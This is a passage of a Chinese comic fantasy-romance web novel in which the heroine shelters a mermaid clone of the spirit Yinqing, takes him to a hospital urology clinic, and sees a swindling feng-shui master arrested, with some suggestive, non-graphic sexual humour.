两人聊天聊不到十分钟,护士过来催促岑让川赶紧离开,医院这除了家属和护工,每个病人身边陪护不能超过一个人。
秦叔家族人丁凋零,没有家属陪床,只要一名和他年纪差不多的护工陪同。
岑让川临走前,秦叔难为情地问:"让川,有空能不能去看看我女儿?医生说我还有一段时间才能出院,她在我手机店左转卖特产的大娘店里,你也不用怎么看,跟她说说话,说再等我几天我就能出院了。"
她站在门外,白炽灯下秦叔不好意思地望着她,有些羞赧。
他已经不年轻了,瘦瘦弱弱的身体装在宽大的病号服里,显得更为苍老憔悴。
头发没有经常染后掉色地很厉害,露出原本花白的寸头。
岑让川望着他,不期然地想起刘庆远。
她点点头,笑道:"好嘞,我明天就去。她叫什么名字?"
秦叔这才松了一口气,也冲她笑笑,目送她从窗边走过,直到被墙壁阻挡这才收回视线。
她叫苏明空。
随母姓。
原来父爱这种东西,在名字里也有体现。
刘缔,留弟。
夜深人静。
岑让川躺在床上,想起刘缔以前无意中透出的话,背后一阵寒凉。
她闭上眼睛,控制自己不去想。
结果听到一阵细响。
像有谁在敲窗户。
岑让川刚翻身,一大团黑影裹着水腥气从窗户外窜来,"啪唧"一下砸到她身上。
其身躯之重,差点没把她胃里的晚饭压得吐出来。
"上来了上来了,终于上来了。诶,人呢?岑让川?岑让川?"
被喊到名字的岑让川一口气没倒上来,差点昏过去,她硬是从被窝下挣扎出声:"滚……"
压在身上的人知道自己重,慌慌张张退开,还帮忙把岑让川的被子扯开。
窗外月色皎洁,倾洒进来照亮了房间。
鲛人浑身湿哒哒地蹦到床上,刚替她扯开又手足无措地盖上。
红晕从耳朵尖一路红到锁骨以下,彻底成了红烧鱼。
鲛人羞恼喊道:"你怎么不穿衣服!"
"……大哥,你主体把我赶出来时给我带衣服的机会了吗?"
宾馆里没浴袍,有她也不敢穿。
今天穿的衣服不脏,被她晾在通风口吹着。
岑让川打算明早去集市买一身三十块钱两套的奶奶装。
"……那你今晚能回去吗?他挺想你的。"鲛人心里哀嚎自己惨呐,谁会拿一条鱼做信使。
但凡银清能分个鸟出来呢?
家里不是还有只猫吗?总比他这条鱼方便。
就因为岑让川一句把鲛人丢出来,银清居然气头上真就丢出来了。
丢出来就算了。
他们几个感官像老旧电线,偶尔互通。
银清偏偏今晚压抑想念的情绪传到鲛人这,不就想让他来这哄人,让岑让川回去。
岑让川避到旁边干燥的地方,硬气道:"不回,我要睡了,你赶紧给我滚。"
"别啊。你要是不回去,他会把我做成鱼脍的……"鲛人欲哭无泪,"他很好哄的,你给他买束花就好了。"
买束花?
岑让川从被窝里重重哼了一声,摆明不肯先低头。
41. vintage古着衣15
鲛人哼哼唧唧半天,就差色.诱。
但也只是想想,他要真敢色.诱,爽到的那刻控制不住传到银清那,他的寿命也到头了。
去头油炸、红烧、煲汤、焖煮、醋溜……
中华上下五千年,总有一个银清喜欢的做法。
鲛人都能想象到以银清那隐藏在清冷温雅表象下邪恶病态的内心,绝对会把他做成满汉全席,然后诱哄着岑让川吃下去。
别以为他不知道!
千年以前银清就不止一次想这么干过!
“现在宅子里什么情况?”装哑巴装了半天的岑让川问道。
她更担心她的四百万尾款还付不付的出来。
说到这,鲛人已经用半边被单把自己弄干,正往地上挤水。
他一边用力挤一边说:“你亲的那个现在被银清吊在树上做风干腊肉,不知道死没死,我和他感官不互通。”
岑让川霍然睁眼,一骨碌爬起来:“等等?!你们感官互通?”
她以前没接触过非人的玩意,根本不知道他们居然还有这个设定。
那她每次和银清那个……他们不会都知道吧……
“时断时续。不过,只有主体通分身,分身之间不互通。”
鲛人想认真解释,岑让川直接上手往他尾巴上摸了一把。
滑溜溜的,鳞片紧密,跟摸鱼没什么区别,只是他的体温似乎更凉一些。
鲛人:?
岑让川:?
两人面面相觑。
鲛人咬牙:“你在干什么!”
岑让川:“你们不是感官互通吗?这样子呢?”
“你觉得呢?他最防着的分身就是我。”鲛人越说,嗓音越抖,“他现在从我的头发丝到尾巴尖都重点监视着,生怕你把我睡了,现在我就是半个银清,你居然还敢这么摸我!”
“啧,就摸个尾巴。不碰你行了吧。”岑让川收回手,在被子上蹭了一把,鱼特有的黏液沾手上,又黏又滑。她清了清嗓子,支吾其词:“那……我和他那个的时候,你们知道吗?”
她更想知道这个!
要是知道也太丢人了!
鲛人不明白她说的话,疑惑道:“那个?哪个?”
“就……那个?”
“哪个?”
岑让川无语看他,鲛人眼里全是不解。
靠,不会真没开过荤的吧?
她决定换个明确点,但又委婉的说辞:“亲完嘴之后生命大和谐的动作。”
“……”鲛人脸色爆红,“你,你怎么……下流!无耻!”
岑让川裹着被子又躺下了,眼看就要继续装死。
鲛人忙说:“你别睡啊,快起来。就……你们那个,银清控制不住的时候……我们能感觉到一点……就一点!”
“……”
她还能不能有点隐私?
孩子大了,给条裤子穿行不行?
岑让川想到自己和银清搅在一块酱酱酿酿他无数分身都能感知到就想死。难怪黑衣银清即使自己没有那部分零件也想着□□的方式,还说出也想要试一试……
敢情他们都知道!
她做的不是一个人,是千军万马是吧?
岑让川恨不得给自己一榔头,问那么仔细干什么!
现在知道了又恨不得自己不知道。
鲛人絮絮叨叨半天,见她没听,赶紧把话题拉回来:“其实你现在回去哄哄银清,他也没有余力对你怎么样,你考虑下?明天跟我回去?银清真的蛮好哄的,你对他好一点,他就原谅你啦。”
“没有余力?我看他挺有力的,能把我俩都捆起来绞死,和我亲过的那个一块挂银杏树上做腊肉。”
岑让川话里的阴阳怪气鲛人怎么会听不懂。
他放下手里拧干到一半的床单,犹豫道:“你走了之后,他把黑衣服那个吸食过去一半,分裂出来另外一个没穿衣服的。没穿衣服的那个先醒,差点把银清杀了,银清现在失明又失聪,你完全可以拿捏他!”
趁人之危是吧?
她喜欢。
岑让川脸上不自觉带了点缺德的笑容:“把他差点被自己分身宰掉的事放出来,详细讲讲,我听着开心开心。”
“……他虽然失明又失聪,但我看到听到的,他能知道。”鲛人不得不提醒她,“你确定要开心开心?”
“早不说!”
“我跟你说了我们感官共通!”鲛人发现这人听话从不听全,光听重点词。
但鲛人没撒谎。
岑让川走后,宅子内当时银清的处境其实很危险。
黑衣银清脱离他们太久产生易变,如果没有她那一瓶死马当活马医的除草剂,现在宅子里他和银清都得死翘翘。
解决掉这个大麻烦后,那个从银清身体里再次分裂出的家伙就好对付多了。
当时银清昏迷着,新家伙却要下手,被鲛人用鱼尾扇出的水刃掀飞,银清这才得以保全性命。
不然以银清的性格,在他虚弱到五感失三感的情况下铁定要把鲛人这个储备粮弄死。
"要不是我救了他,你现在都看不到我嘤嘤……"鲛人说起几日前的经历,越说越委屈,眼泪变珍珠,"咔哒咔哒"往下蹦。
为什么他哭起来有音效了?
鲛人擦干眼泪低头去看,岑让川不知道什么时候拿了床头柜的烟灰缸放在他下巴处接珍珠。
鲛人一怒之下怒了一下,想用大尾巴拍死这个女人,又怕银清报复,窝囊地吞下这口气:“我说这么多,你有没有听进去!”
“哭完了?这么快?”岑让川坐起来跟奴隶主似的数珍珠,“一颗,两颗,三颗……才七颗,有点少,算了,蚊子腿再小也是肉……”
“……”鲛人目光不善盯着她。
岑让川把珍珠收好又躺下:“行了,听进去了。要我回去可以,第一,跟我道歉。第二,我要精神损失费。第三,给我能制约他的东西,少了其中一个,我、都、不、干。”
鲛人作为传话筒,立刻传达银清的回答:“第一,对不起。第二,可以,回宅子就带你到金库中,要多少拿多少,但提醒一句,你这个月漏财。第三,同意,已经放在宅子门口,随时可取。”
“行,那你等着吧。姑奶奶心情好了再回去。”岑让川暗爽,完全忽略了银清的提醒,“对了,警局里有个老头给你送信,说认识你。”
她爬起来,去抽屉里找那封信。
月色明亮。
将室内照得
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半是昏暗半是朦胧。
白色被子被掀开一角,长发散落,光洁的蝴蝶骨清晰可见,在黑夜中无端多出几分旖旎。
约莫是在下层抽屉,身躯往下弯曲,露出半边看似细瘦实则有力的腰。
“找到了……”她话音未落,背后贴来一具寒凉的身躯。
鲛人声音变了,不再高扬,反倒无限接近银清的声线。
低沉喑哑,如清泉流淌过山岩。
“回宅子,让川……”
岑让川慢慢回头看去。
鲛人长发不知何时变成了黑色,连同眉睫都晕染墨色。银白色双眸泛起金黄色光芒,流光溢彩。
清冷如霜雪的容颜胜过无边月色,眼中盛满的欲色如湖面的碎光金箔,潋滟盈润,满到快要溢出。
“让川,我想你了。原谅我好不好?”被银清上身的鲛人用眼神勾她,握着她的手却没有向以前那样贴近自己的皮肤,“明天回宅子……我想……”
“要”字还未说出口,重点部位猛地被击中。
剧痛瞬间传遍四肢百骸,几欲昏厥。
墨色与金色迅速消退,整个房间都充斥着鲛人的哀嚎。
“痛痛痛痛痛——”
隔壁立时传来拍墙声:“大半夜的做什么呢安静点!”
楼上楼下被隔壁带动,纷纷开窗声讨深夜扰民行为。
岑让川咬牙切齿裹着被子,随手拽了片布料往鲛人嘴里塞,怒吼道:“给我闭嘴!”
鲛人痛得在地上翻滚,地上全是从他眼里流出的珍珠。
绮丽长尾拍在木地板上,发出沉闷声响。
岑让川意识到自己下手重了,忙摁住他说:“小点声!”
鲛人疼得激出血液中的三分兽性,一口咬在她手背上。
尖牙从两端生出,陷入皮肉,在即将咬穿她掌心时,那双银色眼眸再次晕出金色,压制下兽类杀意。
她趁此机会忙把手缩回,却一不小心碰到冰凉湿润的东西……
屋子顿时陷入死寂,半点声响都听不到。
连窗外吹入的风也在此刻静止。
两道人影在地上无限拉长,一动不动。
岑让川大脑宕机,机械般转动眼珠子去看。
就看到鲛人鳞片分布下凸出来的一大块泛滥白肉,顶端是和银清一样的浅粉。因为刚刚被粗暴对待,从鲛人手缝中依稀可见深红色淤痕。
“岑让川,不许看!”虹膜银金色交替,愤怒的神情如出一辙。
说不清究竟是鲛人还是银清。
岑让川忙别过脑袋,却控制不住思绪翻滚,脑子里翻来覆去全是黄色废料,重新躺在床上也都在想既然前面那啥,那后面是啥样……
鲛人的具体构造究竟是什么样子?
好奇心驱使下,她慢慢伸出手去触碰坐在床边边捂着受伤部位边单手拆信的鲛人。
近了……
更近了……
信封被拆开,展开发黄的信纸,当看到上面的字体,鲛人愣住。
与此同时,一只手贴上了布满鱼鳞的屁股。
鲛人拿着信面无表情地缓慢回头,夜晚虹膜灿若金乌,发丝如墨。
“诶?你怎么又变了?”岑让川没话找话。
42. vintage古着衣16
俗话说,老虎屁.股摸不得。
也没人告诉她,鲛人屁.股也不能摸啊……
也怪她。
怎么就管不住自己的手呢?
岑让川惆怅,听到旁边时不时传来呜咽声和“吧嗒吧嗒”珍珠掉桶里的动静,默默在心里叹口气。
鲛人的小小鱼折了,各种意义上的折了。
问题是……
“他是不是有病?脑子分裂坏了……你俩在一块的时候又没用前面,他折断我前面有什么用……早知道不来宅子了,都是一群脑子有病的……银清脑子有病,岑让川脑子也有病……踹他踢我干什么……我明天就走,再也不来这,呜呜呜——好痛——”
岑让川背对他,听鲛人在后边鬼哭狼嚎大半宿,不知道的还以为她这个房间闹鬼。
她正要闭上眼睛,眼角余光却扫到黑暗处有个小小的人影似要朝自己爬来。
睡意朦胧一下子被驱散,她定睛去看,原来是门边放置的架子。
鲛人还在念念叨叨,岑让川烦了:“喂,传说你们鲛人能靠歌声迷惑水手是不是真的,是真的我明天去对面医院给你拐个男科医生过来行了吧。”
“男科医生?”鲛人停止哭泣,转过头问,“那是什么?大夫?”
“……你多久没上岸了解现代社会了?”
鲛人掰着手指数:“两百年?不对不对,最近的一次你们这还在打仗,在岸边看了两眼不算上岸。大概是你们这开始派人探索别的地方,那个人叫什么和来着?我听渔民说了两句。”
岑让川眼皮一跳:“郑和?”
“应该是吧?”太久了,鲛人也记不清。
他们世界不相通,鲛人也只是偶尔来有她的世界。
最近一次上岸竟然是六百多年前……
岑让川闭上眼:“你要是能像传说那样迷惑人,我就去给你拐一个男科医生过来给你看看。我们现代社会的大夫、郎中、杏林,能治病的那种。”
鲛人钻进半边湿乎乎的被子,爬到她身边问:"你真的愿意帮我?"
"走开走开,他要是感知到又要没完没了折腾。"岑让川赶他,"我要是不帮你,你能自己复原?"
"不能……但留着似乎也没多大用处,我不是真正的鲛人,就算回了深海也不能跟其他鲛人那什么……跟陆地上其他人更不可能,我不太喜欢你们人类的□□方式。想来想去……"
没等他说完,岑让川闭眼打断他:"那就别治了!"
鲛人急声道:"不行!时间久了淤血发黑,色泽不匀,形状歪的不好看!"
岑让川真的服了。
她没想到鲛人卷外貌不够,居然还有丁貌焦虑。
"知道了,睡了。"她无语半晌,只吐出这句话。
"等等,明天帮银清回个信。"鲛人见她要睡,忙叮嘱她。
警局里的老头到底写了什么,岑让川无从知晓。但听鲛人说,那老头是除了张奶奶外第二个能看到银清真正容貌的人。
身居高位,约莫是隐约知晓他的非人身份。
今日艳阳高照。
宾馆内从六点钟就开始有舂臼声,一阵又一阵。
陆陆续续有其他病人入住,呻.吟声、哭声、说话声汇聚成不大不小的噪音。
小孩啼哭乍响,岑让川蓦地睁眼,吓出一声冷汗。
胸口以下部位又湿又闷,几乎快透不过气。
她做梦梦到自己怀孕,从肚子里挣扎出的婴儿却是招待所里曾经见过的婴孩鬼魂。
身上已经没了气力,躺在棺材里,身下垫布都浸透羊水和血迹,却还在一个接一个的生,肚子高高肿起又陷落,无穷无尽……
不能再想下去。
再想下去她要头要炸了。
这两天发生的事太多,今天还要给银清送信。
那个完蛋玩意……
岑让川刚想起身,发现不对劲。
她身上似乎趴着什么这么重?
掀开被子一看,望见那半黑半白的长发盘旋在身上时,她把脑袋砸回枕头。
岑让川动了动,感受到被子下束缚的力度和范围,总算知道为什么一晚上都在做噩梦。
鲛人直接把她当成盘龙柱,生怕缠不死她。
腰部以下都被鱼尾包裹,湿滑黏液渗入每寸缝隙,像躺进盛满水的盘子中。
来整理房间的阿姨看到怎么办……
不行,不能把鲛人留在这,这种非人的东西留在这太吓人了。
岑让川清醒过来,推醒鲛人:"醒醒,你今天跟我出去送信。"
"嗯……再睡会……"鲛人蜷缩在被子里哼哼唧唧,"好困……"
自从被银清分裂出来他就没早起过,都是睡到不困了才起来。
岑让川挣扎几下无果,起床气倒是上来几分:"你还想不想治你的小小鱼了?"
鲛人听到重点词,立即跟安了弹簧似的从被子里弹出银白脑袋。
楼下。
墙上老式钟表已经指向六点多钟。
这家便宜的小宾馆大部分人已经出门
在柜台舂香料的圆脸老板手下不停,望着岑让川进来又出去。
先是去外头最近的集市买了一套花里胡哨的长裙和休闲装,装在透明塑料袋里,还买了十几个大包子。
宾馆人来人往,半夜突然来人也不稀奇,于是老板无视了岑让川的异常举动。
但是第二次,她出门买轮椅放在楼下就有点奇怪了。
圆脸老板不自觉望向楼梯口,倒霉孩子估计是第一次照顾人,照顾腿脚不好的病人都不知道定个一楼。
等了一会,就听到楼梯口传来说话声。
"搂好,给我闭嘴。"
"你真的可以吗?不会把我丢下去吧?我这样子见人不会被发现吗?你看看我的头发……"
"你再多话我真要把你丢下去了!都说了不会了!这个年代的人会染发戴美瞳!"
"那是什么东西?啊啊啊,我不想从这摔下去。"
……
什么玩意?
宾馆老板放下手里的活计,喊了声:"姑娘,要帮忙吗?"
"不用!"两声回答,异口同声。
老板倒不在意,回去继续舂她的辣椒。
只是没刚刚专注了。
脚步声逐渐降落,木梯底部有灰尘落下。<
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p>穿着运动鞋的脚率先出现,随后是休闲裤。
平平常常的装束,看起来清瘦的姑娘,却没想到这么大力气,抱着身形比她要大的多的……呃,姑娘?
是姑娘吗?
宾馆老板不自觉又停止动作,好奇去看。
岑让川把鲛人放在轮椅上,和宾馆老板打了声招呼就把那高大的"姑娘"推出了门。
白T恤,拖地碎花长裙,用塑料蝴蝶鲨鱼夹半挽起银白长发,单看脸,是个清冷美人的模样。
偏偏骨架有点大,散去了几分羸弱,像一只腿脚不好的雪豹被迫绑在轮椅上。
六点钟的云来医院已经十分热闹。
中心大厅哪哪都是人,发药窗口已经排起长队。
岑让川轻车熟路把人往医院地图上画的男科诊室带。
这一片区域人骤然减少,甚至往来病患都躲着人走。
直到还剩几百米路程,往来男人都往这边看时,岑让川反应过来有点不对劲。
鲛人一把按住轮椅,思虑再三,说出自己的疑惑:"让川,我这样子……进这合适吗?"
"哪不合适……"岑让川话说到一半惊觉究竟哪不对劲了。
花裙子、银色长发、女性打扮……
看男科医生……
岑让川沉默,开始思考云来小镇出现一个喜欢玩cosplay伪娘看男科医生的离谱程度。
等身边走过第三个男人,向她们投来奇异的目光时,岑让川默默戴上口罩,并哄骗鲛人:"合适的,你放心,我们现代社会见多了。你这种叫伪娘,不奇怪。待会进去你就唱唱歌用点小法术知道了吗?"
"噢……好……"鲛人回头看她,狐疑道,"你带面纱干什么?"
"咳,你别管,我先去警局送信,你弄完了……就在医院门口等我。我一会就回来。"
"不行,你等我好不好?我一条鱼害怕。"鲛人怎么想怎么不对劲,刚刚一路过来,路过的人看他眼神都怪怪的。
"一会,真的就一会儿。一刻钟就回来!"
"不行,你陪我!"
一人一鱼拉扯间,旁边走来两个穿警察制服的人。
岑让川定睛一看,有点眼熟,似乎曾经在审讯室见过。
他们看到岑让川也很意外,拖着左手拴在左脚上的朱矮子跟她打招呼。
岑让川忙把鲛人推进男科门诊,然后快步走出,朝那两名警察走去。
“正好,我们刚要找你你就出现了!”他们笑着和她打招呼。
岑让川注意到朱矮子正死死盯着一步三回头的鲛人,不动声色地挡在他面前,也回以笑容说:“我也正好要去趟警局。昨天老爷子托我把信给银清,既然遇到你们了,就托你们转交吧。我……表弟,咳,昨天摔到那里了,他父母没来,我得看着。”
“呃……你,表弟?”他们脸上带着惊愕,看看鲛人背影又看看头顶写着男科的指示牌。
岑让川默默拉口罩:“咳,年轻人有点特殊癖好……”
她正想好好编造一番,没等她说完。
她身前的朱矮子突然撞开她,锁链崩裂。
他像一颗炮弹,直直冲向鲛人。
43. 第 43 章
“他不是人!他不是人!他不是人!……”
朱矮子疯了般想要爬向鲛人方向。
医院周围所有人都看了过来。
他像一头凶猛的野猪气势汹汹呲着獠牙冲来,肮脏的指甲只碰到鲛人裙摆,就立时被按住,死死压制在原地。
岑让川惊魂未定,忙把鲛人推进科室,差点把出门看热闹的老医生撞倒。
已经秃成地中海的医生“哎哎”叫着,戴着副厚厚的老花镜,看了一眼轮椅上的鲛人就说:“我们这是男科!不是妇科!”
“他是男的!”岑让川对朱矮子嚎叫的内容感到心虚不已,一股脑把鲛人塞进科室,不管老医生怎么惊奇,她顺手把门关了。
“让川!”鲛人无助地喊了声,却得不到她回应。
门毫不留情地关了,暂时隔绝外界吵闹。
“他不是人!”朱矮子一声比一声嘹亮,似野兽濒死前的嚎叫。
矮胖的身躯拼命挣扎,眼白处俱是血丝,双腿猛蹬要朝科室内的鲛人扑去。
警察快速拿出手铐给他拷上,着急忙慌提起他要给他带回派出所。
却不知一个人怎么会有这么大力气,双腿如同在地上扎根了般,拔都吧不起来。
朱矮子还在大声嘶吼,奋力想要挣脱。
“岑让川!我知道是你!小庙那天我就知道是你!这件事跟你无关你凭什么插手!”
“接运而已!都是刘庆远的亲人不算犯法!你等着,等着我回来找你!”
“岑让川,你坏我好事!你会有报应的!”
一声接一声。
一浪高过一浪。
整座楼都在回荡他的嘶吼。
未等岑让川反应过来,科室里的鲛人也传出一声似是痛苦又似是愉悦的哭嚎。幸好,他急促地嚎两声后再没动静。
前方是失控癫狂的朱矮子。
后方是情况未明,又怕被人发现是非人类的鲛人。
已经知道大半真相却依旧想不通关节的岑让川听到朱矮子的吼声,那些原本说不通的地方终于说通。
她脱口而出:“刘庆远他爸和他儿子其实是你杀的?!”
朱矮子喉咙里发出一声意味不明的笑声,没有承认,也没否认。
就在这时。
身后门开了。
浓郁植物气息涌来,迅速将她包裹。
她回过头去,看到的是一片天青色暗纹锦缎面料,在白炽灯下微微反射出朦胧的光。上面散着几缕流光墨色长发,依稀有根白发混在其中,让人忍不住想伸手给他揪掉。
愣神间,熟悉的嗓音响起:“我跟你们去见吴老头。”
声线无限缓慢,透着丝虚弱。宛如清泉石上流,清晰又低沉。
岑让川抬头看看他,又看看他腰部以下的腿,迟疑问:“你能站起来了?”
银清动作一顿,隐含怒意:“你最好能尽快分辨出我究竟是谁。”
“……”岑让川盯着他的脸,黑发琥珀色双眸,身上有植物香气。
正主来了……
来得猝不及防。
还是从男科科室里出来的……
她眼神微妙,却发现不对劲。
银清像是看不见,眼神空洞洞的,失去焦距,没了以往灵动。
跟她说话时,需要偏到一边认真听。
他手腕上还有一圈藤条做的手镯,上面夹着三片银杏叶。
她耳边不由响起鲛人昨晚说的话。
“银清现在失明又失聪,你完全可以拿捏他!”
真看不到?
岑让川正想伸手在他面前挥一挥,银清已经站直身子。
他丢下一句:“我一会就回来,你必须等我,我们一起回宅子。”
话语里的强势怎么听怎么刺耳。
岑让川是叛逆的性格,吃软不吃硬,听到他这么说,回都不回一声,甚至翻了个大白眼。
“带我去见他。”银清知道她抗拒的态度,但现在这件事必须尽快摆平。
他走至警察面前,边说边拿出一个东西。
他背对着岑让川,她看不到,只看到两名警察的眼神变了。
连朱矮子看到时脸上划过错愕、惊异,最后变得灰败颓然,眼中恨意迸发,直直朝岑让川射来。
没等他看多久,银清伸手一耳光,带着十足的力度,“啪”的一声,清脆又响亮。
“练练手。”他打完,风轻云淡,“你胡茬好多,扎手。已经长得不像人了,不捯饬下?下去见阎王时这么邋遢可不行……啧,怎么这么油。”
说完,他抽出口袋里的帕子,仔仔细细擦手。
朱矮子仇恨目标转移,又开始跟个疯狗一样扑腾辱骂,比起刚刚似乎少了许多底气。歇斯底里的模样让岑让川想起过年杀猪时垂死挣扎的猪,当杀猪匠往它耳朵里灌热酒而它还未死透时,发出的声音就跟朱矮子如出一辙。
她目送银清和他们一块离开。
朱矮子奋力蹬腿的那几下被警察架着拖着,把沿途地板都拖干净了。
警局就在附近,甚至男科旁就是血液科,岑让川猜想朱矮子应该是用了什么办法从警局里出来,想到医院寻求脱身之法。
她正设想以朱矮子的性格会用什么办法,又想到朱矮子虽然是风水师但不过是一个三流神棍为什么能一眼看出鲛人不是人,甚至要向他扑来……
太多谜团没解开,她想得脑袋有点疼。
她打算去外边饮料售货机买个功能类饮料提提神,身后的门第二次打开。
岑让川左脚才迈出去一步,听到动静,下意识转身去看。
地中海医生看似正常,眼中瞳孔却如猫儿在黑暗中那般滚圆,温和地低头,失神地望着某个点说:"回去清淡饮食,四周左右拔除导尿管,记住一个月不能有性生活,有什么问题记得随时来就诊。"
鲛人坐在轮椅上,失神落魄,眼角还挂着几滴泪,一副被糟蹋的样子看得人莫名心动,想把他搂进怀里好好安慰。
几分钟前银清要是不出现的话,岑让川是会这么干的。
他出现后,见到在银清相似的脸上出现这种表情,她的心态变成幸灾乐祸。
从医生手里接下轮椅把手,和医生告别后去取药房取药。
两人准备离开,经过医院小花园,四周仅有几人在不远处溜达。
岑让川没忍住,嘴角的笑是怎么压都压不下去,询问他:"怎么了?看病不开心吗?"
鲛人捧着一堆药,迟钝地没听出她的嘲笑,虚弱地问:"你究竟给我看的什么医生……"
"啊?怎么了?不是男科吗?"岑让川呲着大白牙,乐颠颠的。
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"……他,他上来……先看我那,叫什么指检……我还从没被人碰过那……银清大概以为我和你怎么着了吧……急吼吼过来……感觉到不是那样,他看都不看就出门找你……"鲛人说到这,发出响亮的嚎哭,眼泪像珍珠,一颗一颗往下掉。
"你们简直王八蛋……一个踹我,一个折我,做错事的又不是我呜呜呜……"
岑让川这回难得有点愧疚,默默合上嘴。
但……看男科为什么要指检?
她疑惑回头,望向男科方向。
小小的指示牌悬挂在二楼天花板下。
上面写着:泌尿外科、肛肠科……
诶?
肛肠科?
为什么会和男科混在一块?
岑让川迅速回想刚刚地中海老医生的胸牌,她拿出手机和浅淡印象中的名字一对比,蹦出的第一个姓氏就对不上号。
"……"
完了,把人送肛肠科了……
她心虚地去搜刚刚医生的名字,看他擅长的方向。
捕捉到关键字,吊在喉咙口的心倏然放回胸口。
过程虽然曲折,结果还是对的。
"没事。"到底是底气不足,她安慰起人来多少能听出点心虚,"这不是,挺好的吗!放心,医生说四周后就能好,别担心。"
"你没看过你怎么知道挺好……"鲛人语气幽幽,"它现在皱皱巴巴像沙虫……今天你回宅子,给我准备麻沸散之类的汤药,再要一把刀,我不许这么丑的东西长在我身上!"
岑让川惊了:"啊?"
自宫?这么极端吗?!
他们在说着话,不远处忽而传来一句:"让川?"
两人抬头,见隔着三两花圃那端走来两个人,一大一小。
是严森和白芨。
"你们醒了?"岑让川微微吃惊,自己醒后还没来得及去看这两人,她便推着鲛人往他们那走,想要寒暄两句。
对面二人目光原本还在岑让川身上,在看到鲛人后视线直接定住。
白芨脸上的震惊掩都掩不住,看看他又看看岑让川,欲言又止。
严森朝他们挥挥手,眼睛望向轮椅上的人不过三秒,明显愣了一瞬,然后可疑地开始脸红,目光躲闪又忍不住看鲛人。
鲛人一把按住岑让川放在轮椅把手的手,提醒道:"你跟那小子说话小心点,银清想过在山上那会杀了他。"
岑让川在距离只剩一个花圃时顿住。
早在银清把严森单独带上山挖刘盈坟头时她就觉得整件事都不对劲。
可是。
"为什么?"
鲛人放下手,回头看她:"你不知道吗?银清要是不出现,他就是你未来丈夫。"
岑让川倒吸一口凉气,瞪圆眼睛去看严森。
那研究生看起来老实木讷,戴着黑框眼镜,一副书读多读傻了的样子。
他居然……是自己官配?!
没等岑让川接受这件事,鲛人皱眉,轻声问:"我怎么感觉他看我的眼神怪怪的?"
而此时,迎面走来的二人已至近前。
严森羞涩地伸手到鲛人面前,看也没看岑让川一眼:"你好,我是让川的朋友,严森。"
岑让川和白芨同时觉出不对味来,两人眼睛跟探照灯似的扫在他们身上。
44. vintage古着衣18
严森白芨今天也要出院,他们四个一块看望完秦叔后便叫了一辆网约车准备回去。
镇子上干滴滴的有限,等了十几分钟才有人接单。
鲛人死死挨着岑让川,生怕被严森推进小树林。他现在坐轮椅就跟坐在岑让川用来运快递的小推车上一样,轻而易举就能把人带跑。
他对自己美貌程度心里有数,千年前,身为主体的银清之所以能到帝君手下成为第一谋士,除去智谋,容貌也是压过一干才俊。
身为他的分身,虽然因为掺了点鲛人血导致两人有点不一样,但也是雌雄莫辨的漂亮。
指检已经玷污了他纯洁的身心,不能再鱼节不保。
最重要的一点,他不接受龙阳!
死也不接受!
岑让川不知道他在想什么,随手把从宾馆收拾出来的杂物用塑料袋装起来丢在鲛人腿上,直接把他当成了运货架。
“姐,既然你现在不回宅子,又没地方住,去我那住一段时间呗?”白芨仰着脑袋问。
实际是她亲眼看到刘庆远父亲脑袋摔下来时太害怕了,急需拐个人跟她一块住。
那些婶子阿姨都有家庭要照顾。
整个镇子上找来找去就岑让川是熟悉的单身贵族,她还是风水师,听严森说胆子还挺大,怎么想都是最合适的人选。
岑让川也没多想,招待所她不想住,宅子也暂时不想住,干脆同意。
“我呢,我呢!”鲛人觉得自己再不出声就要露宿街头了。
“咳,我带我……”岑让川瞥眼仍在少男心动的严森,憋着笑问白芨,“我堂弟能和我一块去你那住几天吗?”
“堂、堂弟?!”严森表情跟被雷劈了似的,不敢置信地望过来。
“对啊,他就是上次我买了十几个包子才跟你出门的社恐堂弟。”如愿以偿看到自己想象中的表情,岑让川笑得极其开心,嘴角都快咧到耳朵根。
“噢对了,他平时最喜欢玩cosplay,最擅长cos美人鱼,可会游泳了对吧!”
鲛人发现岑让川不论转世几轮都有个最大的特点:心肠不好。
这辈子更是贪财好色,偶尔还贱嗖嗖的。
长了张灵秀的脸,尽不干人事。
严森脸色霎时惨白,目光从鲛人清冷俊雅的脸到他宽却单薄的肩,再到各种塑料袋遮掩下……
鲛人恼了:“看什么看!非要我脱裙子你才相信吗!”
“你腿脚什么毛病?”白芨扯他裙子问,“奶奶教了我一套针灸疗法,你要不要试试?”
花裙子被用力扯回,鲛人捂住裙子,咬牙道:“不用了!我这天生的!”
“小儿麻痹?肌无力?”白芨还想再猜,眼角余光有灰影飘过,就听到岑让川念出车牌号后嚷嚷道“车来了车来了”。
“白芨你和我坐后边。”岑让川忙分配座位,然后气沉丹田,用力把死沉死沉的鲛人抱起来。
司机师傅忙下车帮忙,和严森一块把轮椅放进后备箱。
白芨一晃眼,看到岑让川堂弟上衣与长裙露出的腰有几点光亮闪过,没看清楚就被长发掩盖。
“不等银清一起吗?”鲛人挂在她身上连忙问,“他要是生气了怎么办?”
“让他去死。车里空座就四个人,他来了坐哪?车顶车底还是后备箱?他又不会开车,难道让他坐驾驶位?”岑让川可还记着那完蛋玩意要取自己狗命这件事。
道歉给钱有毛用,自己这口气还没消下去。
鲛人还要说些什么,就被一把塞进车里。
他感受到一道穿透力极强的视线,灼热地吓人。
偏过脑袋一看,是那个叫白芨的小姑娘。
她正盯着……
长裙下,干涸的鱼尾露出一个小尖尖,和裙子内衬的蕾丝叠在一块,看起来不伦不类。
“这是……”白芨关上车门,虎视眈眈地要上手掀裙子。
鲛人死死捂住裙角,狠瞪这没边界感的小姑娘。
坐副驾驶的严森系上安全带,往外看去时看到了另一道熟悉的身影。
他挠挠头问:“让川,那是你表弟吗?”
岑让川看也不看,当机立断:“师傅开车。”
灰色轿车踩上油门,迅速驶离医院门口。
车轮碾过水泥路,卷起小片灰土,飘散在风中消弭,连点痕迹都没留下。
他们刚走,医院接到电话,马不停留来了个白发苍苍的医生进警局。
看到的群众很疑惑,明明就这么几步路的距离,警局里有人出事为什么不赶紧送去医院?难道警局还有更齐全的设备?
银清站在警局门口,目送那一行人远去,无心去管身后纷扰。
朱矮子死了。
死在警局。
这件事算告一段落。
太阳底下无新鲜事,银清活了上千年,很少因为这些事情绪波动。
除了他的帝君,还有这一世的岑让川。
她无论前世今生,身边总是围绕着一群人,热热闹闹,如众星拱月般明亮。
而他,不论从前还是现在……
独身一人,踽踽独行。
“请问,需要我们这边送您回去吗?”警员恭敬地问。
银清叹口气,扫他一眼,却问出跟这毫不相干的问题:“怎么讨人欢心?”
警员一愣:“啊?”
